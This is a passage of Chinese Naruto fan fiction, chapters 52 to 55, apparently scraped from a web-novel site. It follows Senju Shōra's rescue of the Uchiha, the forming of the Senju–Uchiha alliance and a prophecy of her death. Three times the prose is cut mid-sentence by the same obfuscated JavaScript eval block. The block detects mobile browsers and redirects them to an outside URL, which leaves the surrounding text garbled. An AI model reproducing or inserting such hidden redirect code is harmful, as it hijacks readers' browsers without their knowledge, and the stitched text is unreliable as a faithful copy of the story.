他听到那个熟悉又讨厌的声音在身侧响起:“对不起~看到你的豪火球,我一个没忍住就用水龙弹了呢~习惯这种东西真是害人呢~你看上去菠萝菠萝了,没关系吧,需要我帮忙吗~” 挣扎着爬起来的宇智波泉奈捏着一把土发誓,这是他这辈子见到过的最恶心最恶心最恶心的“小人得志版千手扉间”。 继某个白毛出现后,拥有千手查克拉的个体也一个个落地。 他们一人捡一个宇智波,失去意识的就直接扛在肩上,对还留有意识的就像扉间刚刚一样大行“嘲讽”之事。 “啊嘞嘞,这不是号称暴风狂虐者的宇智波迅风吗,怎么躺在这里呀,这里的空气刚刚被火球烤过好热啊~来点风呗~” “哦莫,你的脚断了耶,好可怜,我立刻帮你包扎吧,不过我完全没有医疗的天分,你能当我的第一个实验者真是太好了呢~” 托万花筒写轮眼的福,五感大幅提升的宇智波泉奈将发生的一切都收入眼底,刚升起的一点点点感激之情消失,气到发抖:……这不是救援,而是伺机报复吧! 赢了一局的千手扉间轻咳一声恢复以往的高冷:“我们掩护你们撤退,那个……已经不是适合插手的状态了。” 九尾看上去倒还正常,六尾白色的身体微微泛粉,横冲直撞,完全没有章法,还在不停往外甩酸液,还是躲开的好。 “噢。” “……谢谢。” 后半句话细若蚊声,在这个嘈杂的环境中,千手扉间的耳朵还是精准地将其捕捉到了,他勾起唇角。 又赢了一局。 …… 俗话说,作案人往往会回到作案现场。 千手松萝也趁着混乱摸到了千手的作战中心,对着二哥一项项精准无比的指挥点头不已,并跟着大部队踏入了宇智波的战场,展开激动人心的救援计划。 但…… 这是什么鬼? 这个惨状跟她计划得完全不一样啊! 犀犬为什么一幅发狂了的样子啊! 这个人濒死、那个人也是濒死,半数的宇智波精英都快噶屁了,这样子下去理想中的村子还怎么建立!每天对着宇智波帅哥花痴的日子也要泡汤了! 这种事情绝对要避免! 她拔出大腿上的苦无,对着左手掌心狠狠一划,鲜血如注。 离她最近的千手被吓到:“喂,你干什么……我理解你看到宿敌这副惨样激动不已的心情,但你没必要自残吧!” 可恶啊,偏偏是这种时候! 为什么她救人的方式不能更便利一点?为什么一定要代价? 特别是在这种,没有可以随便掠夺的生命的时候,她又只能…… 还不够…… 她对准手腕又划了一刀,鲜血和生命力在体内迅速流失。 她举起左手,掌心朝上,对着战场的方向用力一握。几十根血色藤蔓破土而生,如利刃般贯穿每一个濒死的宇智波的心脏。 泉奈迅速回头,目眦欲裂,哑声大吼:“你干什么!” 千手扉间也因着股熟悉的感觉回头,却只看到一张陌生的脸。 “来。” 松萝轻飘飘地唤了一声。 森林突然喧闹起来,被折断的树桩像注入了生命一样向四周疯长,遮天蔽日般侵袭着整个空间,然后直直地插入犀犬身体四周,将它的活动范围封得密不透风。 犀犬体表的酸液低落到树枝上,融化的“滋滋”声不断入耳,它愤怒地尖叫之时,地下的树根破土而出,像钩索一样困住它的脖子、尾巴、身躯,往下一拽,整个蛞蝓身就被牢牢钉在了地面,激起一阵尘土飞扬,接着无数尖刺自下而上贯穿整条蛞蝓身。 犀犬哀叫都发不出来就已昏过去,白色的酸液从身下蔓延开来。 短短一个半呼吸的时间,甚至于松萝才刚刚乘上往空中暴涨的藤蔓。 在她即将落到犀犬身上,所有人都以为她要被那些尖刺扎个对穿的时候,全部的异状包括树枝和尖刺如退潮般眨眼消失。 松萝稳稳地将脚尖点在了犀犬的头顶。 就像一个胜利的猎人极其嚣张地把猎物踩在了脚下。 面对奔向她而来却因为这场景半途刹车呆滞住的九喇嘛,松萝压下嘴角:“九喇嘛,这到底是怎么回事?” * 结果而言,死者为零,千手成功救援了宇智波,宇智波对千手消除了敌意,几百号人现在在一个营地休息,气氛还算融洽。 最惨的莫过于自残救人并且达成“把千手扉间气到不搭理她”的成就的松萝了。 昨日,她出其不意用有迷药效果的尖刺让犀犬陷入昏迷状态,并拉着九喇嘛边打边远离战场。 然后从九喇嘛的叙述中大概拼出了事情经过。 “你的眼睛这么小不会还是瞎的吧。” 复述完这句话的松萝忍不住又揍了九喇嘛一拳。 “你可真是精准踩雷。” 犀犬因为常年生活在溶洞中,不见天光,视力便退化了,连带着眼睛也小了一大圈。因此他最讨厌有人或者兽对他的眼睛发表意见了。 九喇嘛摸了摸脸,倒是不疼就是侮辱性有点大:“老夫画的地图都那么清楚了,他看不懂就算了,还要说我画的不好,所以我才说他了一句,谁知道他突然就疯了。” 唉,松萝叹了一口气,这些家伙活了不知道多少年了,为什么不能成熟一点呢! 要拜托尾兽们做事,或许应该先从礼仪或者常识教起,还有心理辅导和文化教学…… 松萝:“犀犬就拜托你了,明天之前就能醒了。这次的事情谢谢你们了,已经足够啦,以后有什么需要帮忙的也可以来找我。那我先走了!” 一尾他们跟九喇嘛分成了两路,后者往南,前者往北。 于是松萝脚步不停地往北追赶,好在离得不远,很快就追上了。让一尾他们撤退的同时,顺便救了一大串作死的人。 经此一遭,松萝陷入了自我反省。 实际上,尾兽们基本只在无人的山林?闹了闹,恐吓了一下。恐吓效果是挺不错的,但是出于各种原因,不少人主动向尾兽们进攻就不太妙了。 容易发生意外,就比如发狂的犀犬和倒霉的宇智波。 做完这些后她回到营地,看到熟悉的族姐们抱着药物、绷带走到放置伤员地方。 帐篷里原本还有微弱的呻吟,在她们进来后戛然而止。 宇智波的伤员们别开脸,治疗方面很是配合,就是不直视千手。 默默观察了一下的松萝退出帐篷,被一个熟人喊住。 “你的头发怎么了?”千手若兰大老远就看到鬼鬼祟祟进出各个帐篷的松萝,走进了才发现她浓密的黑发中间出现了一撮白发,“这是什么新式发型吗?” 千手若兰举起食指,水球在指间凝聚成形。 疑惑的松萝看到了水球中自己的倒影,从头顶到发尾,出现了一指宽的一小撮白发。 她赶紧抬手遮住,尬笑两声:“对对对,是不是很酷!” “确实挺好看的,你怎么做的,告诉我告诉我!” “说起来有点复杂,下次我帮你弄吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080824|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总之先把今天糊弄过去。 若兰幻想了自己跟偶像扉间大人一样白毛的样子,脸上全是期待。 不过今天确实不急着弄头发,因为大家都忙不过来,能抓到一个帮手是一个,她叫住松萝也是为了这个:“你没事干的话就跟我一起来清点武器吧,昨天尾兽们虽然被……被不知道的人引走了,但谁知道会不会再次突然来袭……” 对不起,不会再来了。 本来还想去主帐篷偷听一下扉间和泉奈在聊什么的松萝就这么被拉去干杂活了。 …… 将最后一把手里剑收拾完毕后,她看到了抱臂而立的黑发青年。在两个帐篷之间,无人的角落,他静静地注视着,也不知道在那儿立了多久。 他想起了很久以前的事情。 那是父亲和母亲都健在的时候,他为了追逐哥哥的脚步,变得像他一样能够独当一面,自告奋勇假装被星组织抓走,成为最关键的俘虏。 那是他的初次独自一人执行任务,说不害怕只是逞强。 但是当一个比他更小的女孩子被扔进笼子的时候,他又觉得没有那么害怕了。 “听好了,斑,泉奈,男子汉不管多大,都要保护女孩子”,这是父亲常说的话,虽然他经常在母亲大人面前喊头疼,一点都没有男子汉的气概。 虽然很麻烦,又是身份不明的小女孩,但是只是在这几天保护一下的话,也不是不可以。 虽然是个神经大条的女孩子。 她到底哪里来那么多果子的? 这种情况下是怎么睡着的啊!真的是忍者吗! 拖果子的福没有饿肚子。感谢果子神。 …… “天神。” “泉奈君。” 两道声音在耳边重合,模糊的视线逐渐清晰,神经大条的小女孩变成了亭亭而立少女。 “泉奈君?我可以这样叫你吗?” 君?对哥哥明明是直接称呼名字的呢…… 他放下双臂,对着少女弯腰:“昨天谢谢你救了我的族人。” 即使样貌有做伪装,查克拉的气息做不了假。 一下子就被戳穿的松萝有点不自在,她慌乱地躲开:“啊别,不,那是我应该,啊不是,我没做什么,我……” 他却摇摇头,很认真地再次道谢:“如果不是你们及时赶到,我恐怕会因为自负而酿成大错。我……虽然没有轻敌,但还是让仇恨占了上风,没有做出正确的决定。谢谢你们不计前嫌,支援我们。” 松萝:……别再说了,她的良心好痛。 “这都是扉间定的计划,我什么都没做。不过,”她有些不好意思地抬头,“他大概也是猜到你不会直接接受我们的帮助,所以在远处等了些时候才命我们上去的……哈哈。” 听到此处,泉奈笑得了然:“果然是那家伙的作风哈哈,欠他人情真的是太糟糕了啊。” 松萝赞同点头,一副过来人的样子:“没错!” “说起来之前也没能好好感谢你的招待,在城堡的时候。” 仔细一想,那个时候她都没跟泉奈君单独说过话呢。 松萝抬眼偷瞄,他在不扯到两族的事情的时候表情要柔和不少,微笑中带着不属于舞刀弄剑的忍者的文气,就像雨后的新竹,带着清爽好闻的气息。 她有些不好意思地摸摸后脑勺,发出邀请:“想去做客的话随时都可以哦~” 顺着她的动作,衣袖滑落半截,露出了缠至手腕的白色绷带。 “你的手……” 就在此时,千手玲的呼唤声传来,松萝对他抱歉一笑,就转身继续帮忙干活去了。 泉奈的目光追随着她的手腕,手不自觉地探向怀里的药瓶。 随即又顿住,垂下眼,离开了。 53.第 53 章 * 尾兽没有再出现。 紧接着千手柱间和宇智波斑回归,两族士气大振。 以及,今天扉间也没跟我说话呢。 本着伸头一刀,缩头也一刀的心理,松萝勇敢地冲到了千手家的食物链顶层面前—— 四双眼睛齐齐落在她身上,注视得她头皮发麻。 没有人告诉她四件套都在啊?! 慌乱之下,她眼神乱瞟,正好看到正中央的案桌上摊开的舆图,开始胡言乱语:“这不是火之国的地图吗,哇哦~好大好清晰的地图啊……” 还好柱间解救了她,招手示意,并让出了一个身位。松萝小心地走到他和宇智波斑中间站好,看起来甚是乖巧。 于是这回五个人围着舆图继续刚才的话题。 “西谷、中村领地几乎占据了整个西部,剩下只有几个小村落了。不如将整个西边都划入。” “西边荒凉,人口也不多,拿下倒是不难,就是没什么好处。” “所以,这就是重点了,从这里到这里,这两个地方绝对要争取,一个是南贺城,本来就离我们最近,还有一个是从西边到南贺城中间的井木、柳土城两处地方。这样连起来,地域、人口都可以互相弥补了。” “……” 稍稍听了一会儿,感觉到不对劲的松萝忍不住提问:“那个,你们这是在商量什么?” 冷哼传来,态度冰冷得像百年不化的积雪:“不是某个人的目的吗,把所有人都惊吓一遍,然后阖家欢乐建立同盟,再带着领地独立,建立忍者的乌托邦,不是吗?” “……”这恶意满满的嘲讽是怎么回事。 虽然他说话尖锐了点,但好在愿意理她了,仗着人多,松萝的勇气一下子就涌了上来,反驳他:“说得太过了吧……我只是想创造一个大家都能平等自由生活的地方而已!” “呵。” 说实话,二哥生气的理由她大概也能猜到一些。 一是她当着那么多宇智波的面救人,场面稍微震撼了一些,引起了不少猜测。二是这次的事情一尾也有参与,得到一尾出现的目击情报的时候,以二哥的敏锐程度,早就就猜到这次的事情跟自己有关系了吧。 这次怕是糊弄不过去了,还是找时间认真认个错吧。 但是现在—— “没错!”柱间看向挚友,“我们决定结成同盟了。我们要创造自由的忍者之城。” 宇智波斑也开口:“既然要做,就要做到最善。” 他手指在舆图上一划,半个火之国的土地便被他圈在内,最角落的是熟悉的禺黎城所在。 “首先是这个大小吧。” 松萝:!!!这才几天,就已经到这个进度了吗?她做梦都不敢这么想。两族联手的一天居然真的到来了吗? 至于他们要做什么,她统统不在意!难道还有千手柱间和宇智波斑联手拿不下的东西吗? 必不可能存在! 他们想要做什么需要理由吗! 不需要! 啊啊啊啊!她在内心狂叫! 再也不用听那群自认为高人一等的人的命令了哈哈哈哈。 她过于高兴,以至于旁人喊了她三回,才回神。 “怎么了?” 宇智波泉奈“咳咳”两声,重复了一遍刚刚说的话:“再怎么说也是别人的领地,贸然前去会遇到不少阻力,所以……” “我们需要你的帮助,城主大人。” “我懂我懂!”松萝一下子就明白过来,“趁现在局面混乱,假装是我请你们去增援的,然后趁机夺取主导权,把他们的地盘收了,对不对!” 要在短时间内做到将这些地方都夺取了,利用她的那点城主通行权是最好的办法了。只要有城主印的文书,可谓是畅通无阻。 虽然她一点都不怀疑大家的实力,但是要减少牺牲、缩短时间的话,果然还是偷渡,不,是光明正大进去,从内部进攻更好。 柱间敲定最后计划:“没错,地点主要有四个,南贺城暂时可以不管,我们一人率领一个队伍,后天就出发。” 松萝:“四个人,那我呢?” 跟哪个队伍都不太合适的样子。 扉间虽然不想理她,但还是提醒:“你回城堡,我们一旦动手,你就会被暴露于人前,到时候想要报复的人可能会对那边下手。” 她的印信,她派出的援兵却造反了,那就等于是她不怀好意。 在这个计划当中,她是最重要的背锅侠角色。 不过从策划了尾兽之乱的角度来说,这个锅背得也不冤,松萝欣然接受了。 她一个人回去守卫城堡显然有些不太够,于是她想起了被送去漩涡的千手的小孩子们。反正没啥危险了,把半路上的他们喊回来,一起跟她走就万无一失了。 “那样的话,我们的人也在回来的路上了,肯定能帮上你的忙的。”泉奈想起族内第一时间被送走的老人妇女儿童,虽然有一小部分是要被照顾的存在,但对付一般的士兵绰绰有余了。 他们会听自己的话吗,再怎么说也是前几日还在敌对的人,松萝心底冒出这个担忧。 斑看穿了她的担心,安抚道:“我会好好跟他们说的。” “嗯!” * 她回到了城堡,把跟着她来的人安顿好,并将跟来的忍者们组合后,分成了十二个小队,一日三班,四日一轮换。对守卫们也下达了戒严的指令,再将她的重要的部下们招来,叽里呱啦商量了一晚。 其中一半的人听说她要做的事情后,当场晕了过去。 然后被她用速效救心掌拍醒了,继续叽里呱啦商量事情。 第二天一早会议室的门打开的时候,所有人的脚步都是飘的。 把任务都分配完之后,松萝呼出了一口气,打算休息一下,却有熟人前来拜访。 漩涡奚山说他的师傅有事想要见她一面。秉承着对他的信任,松萝虽然觉得奇怪还是答应了。 然后去见了他的师傅——一只红皮□□。 。。。 当时松萝的心情就如上一样不知道怎么叙述。 红皮□□说:“你好,我是奚山的老师。” 静默了三秒,她突然恍然大悟,这位一定是跟猫咪老师一样的好为人师的大妖怪,通灵兽什么的只是表面伪装。 此等误会种种暂且不提,她最终被引去拜见了妙木山的大□□仙人,一只据说从忍宗时代一直活到现在的真·仙人。 就是记性有点堪忧,问了不下十次“来者是谁”才在奚山的师傅,红皮□□的忍无可忍下道出了叫她来的原因。 “你再过不久就要死了。” “你的死会成为导火索,爆发前所未有的忍界大战,这很有可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099723|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能会毁了这个世界。” “这个符给你,怎么找不到了……我放哪儿来着……啊在这里……给,这是□□王国国宝的复制品,关键时刻能救人一命不过使用效果没有原本那么好。” 就这么莫名其妙地收获了一个死亡预告,松萝捏着一张白色的符纸,面色复杂地离开了妙木山。 “大□□仙人的预言是绝对的……”漩涡奚山也一脸愁容,他没想到这个预言的内容居然是这样的。 “安心吧,能预测的未来说明就能改变,说起来这个国宝的复制品是什么宝贝吗?” 她拿着那张符纸左看右看,也没看出什么名头来。 白色的长方形纸,正中间写着一个“仙”字,周围画着一些扭曲的符号,倒是有点像是咒印。 漩涡奚山给她讲了一个故事。 那是在远古时代的故事,主人公当然是被称为六道仙人的大筒木羽衣,他跟弟弟羽村联手击败并封印了野心膨胀的母亲大筒木辉夜,但是羽村也因此重伤不治。 此时便是大□□仙人,拿着妙木山的国宝“仙人符”,将他救了回来。 “诶,大□□仙人从那个时候活到现在了吗?这不可能吧!” 嘴上虽然吐槽,捏着符纸的力度却放轻了很多,她小心地将其抚平,在心口的位置贴身放好。 这可是国宝呢。复制品三个字直接被她忽略了。 她对死亡预告没什么感觉,奚山却一副如临大敌的样子,刚将她送回城堡又消失不见了,只留下一句“我一定要问清楚是什么事情,你最近小心点”。 本来还想问问他是怎么修炼出仙人模式的,按大哥的“顺其自然”法总感觉十年也摸不到门槛。 不过他走得太急,还是下次吧。 终于得空的松萝关上门,美美地睡了一觉。 * 四件套们占领城池的行动非常顺利,顺利到都要怀疑是不是有陷阱的程度。 特别是领主本人逃跑了西谷领地,剩下的人的态度近乎感激——居然有人愿意接这个烫手山芋。 而且还是强大的忍者,他们都觉得自己接下来的安全有了保障。这也是尾兽效应之一吧。 放下刚到的信件,松萝由衷地为两族感到高兴。 未来一定会越来越好的。 接着她又拿起了余下的几封信。 一封来自辉夜出云,他之前一直在各地寻找尾兽的踪迹,现在这个任务结束,他请了长假回水之国看望族人,来信是表示他已经再过几日就准备结束假期回归。 一封来自都城,要求各地派兵守护大名,直接无视。 还有几封是周围的求助信。嗯,保留。 谩骂信也有一封。这几年收到各种骂她的信也不少,基本上就是围绕卑贱的出身、不守女德这两点进行毫无道理的指控。 这回又多了点新意,说她假借救援之名,派忍者占领周边,野心之大昭然若揭,更是“阴谋论”说尾兽的袭击就是她搞的鬼,所以才会在所有人还在慌乱不知所措时派兵,占尽了先机。还说她嚣张不了多久,迟早会有人揭露她的恶行并予以制裁的。 哇哦,全都说中了,松萝忍不住多看了两眼,最后目光落在署名上。 金·富力士。 好奇怪的名字。 之后找人打听一下吧,这么精准的猜测,是个人才,得想办法挖过来。 54.第 54 章 “听说了吗?兔子和叉子联手了!” 巷子边蹲着的两个男人交头接耳。 “岂止,火都被浇了一半了!” “那个不是谣言吗?真要这样的话,他们胆子未免也太大了点。” 十米开外的米铺里,也有类似的话题在进行,只是没有打哑谜。 “千手和宇智波这是想做什么?联手推平世界?火之国是第一步?” “哈哈哈哈哈哈哈我觉得忍者统治世界也挺有趣的,像他们那样强大又和善的忍族可不多见,而且托他们的福,最近来买卖的人越来越多了,粮价也在稳定上涨,我倒是乐见其成。” 米铺里间的小屋,店长和好友酒盏相碰,讨论着最近的事情。 “你是发财了,我可愁死了。赌坊开盘了,就赌他们这波要占领几个城。现在已经四个了,我都不知道押什么好。” “这不直接押最大的?三领七城一都,直接押十一!气死毛利大名!” 店长讨厌官府的人,税金年年涨,遇事找他们就是相互推诿。 “他们再怎么厉害,这波也是趁着尾兽造成的混乱局面才做到的。我觉得四个是极限了。但是幕后黑手是那个女城主!加上她本来就有的领地应该算是五个。” “女城主?你还真的信啊,难道不是宇智波他们借了一下名声而已嘛。一个边境小城的城主能有什么本事驱使那两个人?” 听到此处,他的好友忽然装高深,语气也低沉了起来:“这你就不知道了吧,她上任不足五年,原本最穷的地方现在已经……” 还没展开来讲,一个小男孩跌跌撞撞地跑了进来,嘴里高喊:“店长,不好了!大名发布了召集令,说是要召集各国武士、忍者一起镇压叛乱!” 坐着的两人对视一眼,震惊一秒,又齐齐镇定下来。 店长是个长着胡子的中年男人,他招呼小男孩坐下,让他不要慌张。自己则是将手指抵在桌面,一下又一下地敲击。 真正有实力的人不会在这个时候同时与千手和宇智波为敌,只有那些炮灰和没脑子的人才会应和这个召集令。 所以只会一边倒。 这样简单的道理连他这个小市民都清楚,眼高于顶的大名却不懂…… 店长突然站起来,问他的好友:“你说的那个女城主在哪里?” “西边边境……怎么突然又感兴趣了?”他举起酒盏,揶揄一笑,“继续给你讲讲?” “不用了,我要关掉这里的店,去她那里重新开业。” “噗——”因为过于惊讶,还未咽下的酒全被吐在了桌上,“咳咳咳咳,你说什么,咳咳咳……” 这是商人的直觉。他要去。 * 米铺店长的猜测是对的,因此召集而成的“大军”只是一群乌合之众,甚至不需要族内精英,都能轻松将他们击退。 都城乱成一团,大名处于生气但又无可奈何的状态,每天除了骂臣子就是在寝殿砸东西。 早知道,在那家伙谏言的时候别听就好了。薅她的禺黎城之位干什么,那个鸟不拉屎的破烂地方,给她就是了。本来她背后就站着千手,现在好了,又多了一个宇智波。 我这么针对她,她不会来暗杀我吧。 大名惨白着脸躲进了衣柜。 那群人的暗杀手段,他略知一二。 凭他身边的人,是根本挡不住的。 他在那边以小人之心猜忌的时候,千手松萝根本就没想过搭理他。 继尾兽之乱后,四城之围也渐渐落下帷幕,留下足够的人手看守城池后,千手和宇智波均回到了族地,并正式开始准备结盟事宜。 而她,作为重要参与人之一,被长老们紧急召回。 七位长老站成一排,紧盯着她的脑袋—— 要解释最近的一连串事件,自然避不开家里有个崽在外当城主的事情。 这不得好好看看,是什么样的脑子才会做出这些事情。 被盯久了,松萝额头冒出细细密密的冷汗来,她有些紧张,严肃的长老们不知道会怎么对她。 骂一顿太轻了,打一顿好像有点太重了,不会要跪祠宗吧,还是说抄族训…… “你!” 大长老大喝一声。 踏出一步拍拍她的肩膀:“不愧是我们千手的崽!有胆量!” 松萝:啊? 三长老摸了把她的脑袋,这么多年了还是没咋长个,高度倒是方便他摸头:“没错,做什么无所谓,重要的是不放弃、不后悔、不愧对于心,森之千手的孩子要像树一样永远向上而生。” “不过偶尔也可以依赖一下家人,”二长老面容最是和蔼,留着长长的胡子,“我们每天遛娃逗狗也挺闲的嗬嗬嗬嗬。” “你也是,那俩兄弟也是,心里藏着一堆事情,跟我们说说该多好。” 松萝这才反应过来,长老们没有责怪自己的隐瞒和自作主张,开心道:“真的可以吗?” 三长老眼放精光:“当然了,特别是看上了哪家的小子,这种事情,咳,我们还是能给点经验的。” 松萝死鱼眼:……哦,那算了。 立刻有人替她制裁了三长老,他被恩奶奶,也是五长老赏了个爆栗:“你个老不正经的,在讲正事呢!” 听说恩奶奶年轻时候就是个暴脾气,跟她一起长大的人都没少挨过打,因此每回她一发话,特别管用。 恩奶奶转回正事上:“我们刚才也粗略地跟柱间商量了一下,如果你愿意的话,我们就找他们一起仔细谈谈这个事情,如果不愿意的话就别勉强了。” “你,愿意继续当这个‘大城主’吗?” 什么大城主?什么意思?她怎么不太明白? 三长老解释:“她说话就喜欢省略……我来说。据扉间他们说,他们是以你的名义去支援,然后造|反的,所以民间默认了这是你的命令。 “一个小队要有一个队长,一个忍族要有一个族长,这些被占领的地方,也需要一个统一的指挥者。我们想来想去,还是顺着这个局势,由你来做这个五城之主好了。只不过这样子,你会成为靶子,那些反对派、仇恨派都会向着你而来,所以我们想先问一下你的想法是?” 原来是继续当背锅侠啊,她之前就做好准备了。反正也就是从保护一城变成保护五城,这次有了几百号人的帮助,她完全没问题的! 当靶子什么的,一点都不在怕的,因为,她可是唯二的木遁使呀。 松萝语气轻松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112057|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地应道:“可以啊。但是有一半是宇智波做的,应该要尊重一下他们的意见吧。” 此时,大长老忽然挥了一下手,紧闭的屋门打开,在外偷听已久的千手两兄弟咧开笑脸,毫无尴尬和羞愧之意。 大长老默许了他俩的行为,并招呼他们:“哼,进来吧,一起讨论一下详细的事情,包括今后怎么对待宇智波。” * 长长的会议结束之后,松萝被千手扉间“绑架”,扔进了小黑屋。 “交代吧。”言下之意,不把最近的事情交代清楚,就别想出这个小黑屋。 这里四处是墙,墙角还有可疑的深色污渍,地面上摆着一些奇形怪状的刀具。没错,这里原本是刑讯屋。松萝也是第一次来,之前他们都不愿意让她接近这种地方。 但是现在……不得不说,她有点被扉间的冷脸吓到了。 大哥本来也想跟来,被他瞪了一眼,“发配”去工作了。 松萝站在他面前,低着头,小声讲了一遍她做的事情,最后总结:“我知道错了,我犯了跟影枫一样的错误,以互相帮助为名,实际上是在利用尾兽,利用自己驾驭不了的力量,差点酿成大祸。” 他冷笑一声:“还有呢?” “还有就是不该在那么多宇智波面前救人……”说到这里她停顿一下,抱着希望抢救,“但是我那个时候有用变身术换脸,他们认不出我的!算不得违背约定吧……” 她和扉间有约定,不在族人以外的人前展示自己治病救人的能力。 松萝手指不安地绞在一起,小心翼翼地抬眼。 光线昏暗的小黑屋里,他的眼瞳是深沉的暗红色,像是蒙上了一层黑纱。 扉间的视线转到她衣袖下的白色绷带上,皱眉,什么时候又受伤了? “手给我。” 松萝乖乖地将手抬起,由着他拆掉绷带,施展医疗忍术。松萝内心还有点小忐忑,就没有注意到他看到伤口时,动作有细微的停顿。 绿光照亮了小小的空间,松萝明显感觉到二哥收起了身上尖锐冰冷的气息,松了一口气。 “头发是怎么回事?” “什么?”松萝下意识地摸上左侧的脑袋。 被千手若兰提醒的第二日,她就溜去花街买了染发膏将那撮白发染回了黑色。 她的头顶,唯有几缕头发呈现出茶棕色,与满头的黑丝相比并不明显,但此时靠近了看,却又显眼了起来。 “只有这边,颜色不一样。” 伤口正好治疗完毕,扉间伸手就要去碰那茶色的头发,松萝急忙后退一步,他掌心握空,右手悬于半空,维持着握拳的手势慢慢收回了手。 担心自己后退的动作突兀引起他怀疑,松萝赶紧解释:“我好些天没洗头发了……” 几天没洗头发?在混着泥土与血液的战场里打滚,半个多月不洗的时候都有过,何曾像刚才这样抗拒后退过? 拙劣的借口。 不过她是对的,他也许该减少肢体接触了,他们已经不是小孩子了。 也许是他看错了,这里太暗了,还是出去再说吧。 “刚才讨论的事情你都记住了吗?” 松萝掰手指数道:“当然,包在我身上!” 55.第 55 章 三日后,两族正式签订了停战协议,以及同盟协定。 同时对外宣言,将火之国的西部和南部,包括禺黎城、西谷领地、中村领地、井木城、柳土城、南贺城在内的森林、河流、丘陵、农田纳入管辖,并入“大城主”的领土范围,宇智波一族与森之千手为其守护忍者军队。 第四日,两族高层开会通过建造忍者村的决定。忍者村将作为千手和宇智波的共同生活之地,地址选在南贺城的北面的鸩隐大森林,大森林中有一片大悬崖,悬崖下有淙淙流水,满足了地理位置的隐蔽性和便利性要求。 除去现在在外执行任务的十余人,以及在各城池驻扎的忍者小队总计六十余人,两族还有千余人,适合参与建造任务的三百青壮年被分为两批,轮流参与忍者村的建造。建造任务的第一阶段从居民住所和防御工程开始,同时安排族人迁移到这个新住址。 为了加快建造进度,千手柱间被任命为“包工头”,参与第一阶段的建设,土遁刨地,水遁挖渠,木遁建房,嘎嘎好使。 “你想去哪?给我滚去开会!” 松萝一度也想溜去森林搬砖,被眼尖的扉间抓到,喊回去开会了。 一天天从早到晚开不完的会,吵不完的架。 各城池的原城主被喊到禺黎城开会,表面上是服从于她了,实际上还是被忍者的强大武力逼迫的,在推进一些需要合作的事情的时候就格外明显。 一个个不是推诿就是死咬着利益不放。 松萝百无聊赖地转着黑色的手里剑,左手托腮,眼神漫不经心地从桌面扫到每个人的脸上。 太阳西斜,又一天被浪费了。 她撅了一下嘴,掷出手中的手里剑,锋利的刀面刺入木桌。 轻微的“哒”声让会议室安静了下来。 所有人看向她。 这些人都是养尊处优的高位者,对于这样粗鲁野蛮的行为有点鄙视和害怕,生怕那手里剑落在自己身上。 松萝陪着这些人好几天了,第一天的时候泉奈或者扉间还会在场,后来就全扔给她了。 “你们听说了吗?坊间传闻,尾兽的进攻是被人操控的。” 他们面面相觑,这样的传闻有好多个版本,他们就算听说了,也不会相信的。 “我想想,上次来的是一尾守鹤、六尾犀犬、七尾重明、八尾牛鬼、九尾九喇嘛吧,还有四只尾兽没来观光过呢。” “……” 被她威胁一番,会议的进程就像按了加速键,日落之前全部谈妥了,他们甚至趁着夜色驾着马车离开了。 她把几人签署的改建城池、开拓商路、移交权限等同意书展示给斑和扉间时,后者还惊奇道:“比想象中的要快上不少啊。” 松萝骄傲挺胸,趁机申请明日休息半天。 扉间看她一眼,叮嘱:“后天结盟仪式,别惹什么乱子。” 对,之所以只留她一个人对付那群人,是因为他们在忙千手和宇智波的结盟仪式。虽然决定一切从简,但是该有的流程和仪式还是得走。 甚至特意将结盟仪式的时间和地点公开,“欢迎”反对人士来现场捣乱。守卫的布置方面自然是重中之重。 不过跟她关系不大,主要是两族族长缔结盟约,好像之后还有祭祖仪式…… 而她则是将重点放在了休假的半日上。 之前她去花街买了黑豆做的染发膏,却发现时间久了染黑的那部分居然会褪色!刚开始还不明显,慢慢的开始往棕黄色发展,已经有好几个人问过她头发怎么了的问题了! 一定是劣质染发膏! 她要去退货!重染! “哎哟,小姐,”卖给她染发膏的是个成熟大姐姐,她捂着嘴轻笑,“您一定是第一次用吧,染黑的这部分原来是浅色头发吧,那就是会掉色的。换别人家的也是一样的,我做了十几年头发生意了,这条街上多少姑娘的头发都是我来打理的,绝不会欺骗小姐您的。” “这……” 松萝面上露出为难,那岂不是以后要经常染发。 最终还是带着一罐全新的黑发膏离开了花街。 没多久,就感觉自己被跟踪了。 她背过手,半昂起头,气定神闲地说出了经典台词:“出来吧,我知道你躲在那里。” 等了几秒,草丛里居然真的跳出一二三四个人来! 松萝警惕地抬手,却发现这几个人有点脸熟。待她们的面孔彻底露在月光之下的时候,她越发疑惑了。 一个人看上去年纪很大了,还有一个大着肚子的妇女,其他两人是看着不过十一二岁的小女孩。 